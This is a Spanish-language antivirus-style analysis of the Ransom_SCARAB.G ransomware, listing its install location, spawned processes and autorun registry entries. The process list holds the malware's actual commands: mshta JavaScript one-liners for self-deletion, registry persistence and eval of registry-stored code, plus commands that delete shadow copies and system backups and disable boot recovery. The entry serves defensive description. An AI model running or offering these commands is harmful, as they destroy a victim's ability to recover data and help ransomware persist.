Ransom_SCARAB.G

Instalación

Crea las siguientes copias de sí mismo en el sistema afectado:

• %Application Data%\osk.exe

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data y en el caso de Windows 2000, XP y Server 2003 en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data).

Agrega los procesos siguientes:

• "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\dyituser_732\Downloads\{Malware File Name}.exe" "%Application Data%\osk.exe";
• mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('{Malware File Name}.exe');close()}catch(e){}},10);"
• mshta.exe "javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\{Random Name}',i);}catch(e){}},10);"
• mshta.exe "javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\Software\{Random Name}\E[XTS'));close();"
• "C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
• "C:\Windows\System32\cmd.exe" /c wmic SHADOWCOPY DELETE
• "C:\Windows\System32\cmd.exe" /c vssadmin Delete Shadows /All /Quiet
• "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
• "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
• wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
• C:\Windows\System32\cmd.exe;new process;vssadmin Delete Shadows /All /Quiet
• C:\Windows\System32\cmd.exe;new process;wmic SHADOWCOPY DELETE
• C:\Windows\System32\cmd.exe;new process;bcdedit /set {default} recoveryenabled No
• C:\Windows\System32\cmd.exe;new process;bcdedit /set {default} bootstatuspolicy ignoreallfailures

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data y en el caso de Windows 2000, XP y Server 2003 en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data).

Técnica de inicio automático

Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\RunOnce
TScZfk = %Application Data%\osk.exe

Otras modificaciones del sistema

Agrega las siguientes entradas de registro como parte de la rutina de instalación:

HKEY_CURRENT_USER\Software\{Random Letters}

HKEY_CURRENT_USER\Software\TScZfk